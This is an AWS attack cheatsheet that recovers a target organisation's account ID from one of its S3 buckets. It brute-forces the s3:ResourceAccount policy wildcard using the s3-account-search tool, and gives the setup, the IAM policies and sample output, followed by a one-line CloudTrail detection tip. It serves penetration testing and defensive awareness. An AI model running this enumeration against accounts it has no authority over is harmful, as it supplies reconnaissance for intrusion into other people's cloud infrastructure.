Cheatsheet - AWS - Scenario - Locate AWS account ID from S3

Determine Account ID from S3 bucket

Overview


Attack Workflow

1. Step 1 (Discovery/Access)

  • Objective: Locate an S3 bucket associated with the target account.
  • Command/Method: We must first locate a S3 bucket associated the target account. We can do this in multiple ways such as browsing the source code of publicly accessible websites of the target, relevant repositories etc.
  • Expected Output: In this step we located a S3 bucket to target for further reconnaissance.

2. Step 2 (Discovery via Cloud Infrastructure Discovery)

  • Objective: Use s3-account-search to locate the AWS account ID of our target account.
  • Command/Method:

s3-account-search leverages the S3:ResourceAccount policy condition key. This policy condition grants or restricts access to all buckets which belong in a certain AWS account.

The S3:ResourceAccount policy condition supports wildcards for the account, therefore we can enumerate the account ID via wild carding the account ID. Once our principal is gained access based on the first value of the account ID, we can move on to the next digit of the AWS account ID of our target account until all digits within the account ID are known.

Setup:

python3 -m pip install s3-account-search

We also need to create appropriate roles in our own AWS account that allow us to assume s3:GetObject or s3:ListBucket permissions on the targeted S3 bucket, such as the following:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Enum",
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::mega-big-tech/*"
        },
        {
            "Sid": "Enum1",
            "Effect": "Allow",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::mega-big-tech"
        }
    ]
}

We will also need to allow our IAM principal that is going to target the S3 bucket permissions to assume the role, both via an attached user policy:

{
    "Version": "2012-10-17",
    "Statement": {
        "Effect": "Allow",
        "Action": "sts:AssumeRole",
        "Resource": "arn:aws:iam::<your aws account id>:role/<your role name>"
    }
}

as well as the trust policy associated with the newly created role:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<your aws account id>:user/s3enum"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

We can then generate access keys for our newly created user and kick off the s3-account-search script:

/tmp/pip/bin/s3-account-search arn:aws:iam::427648302155:role/LeakyBucket mega-big-tech
Starting search (this can take a while)
found: 1
found: 10
found: 107
found: 1075
found: 10751
found: 107513
found: 1075135
found: 10751350
found: 107513503
found: 1075135037

....
  • Expected Output: The account ID of our targeted account.

Detection and Defense

  • Mitigation Techniques:
    • Review CloudTrail logs for multiple access failures within a short period of time.

Notes and References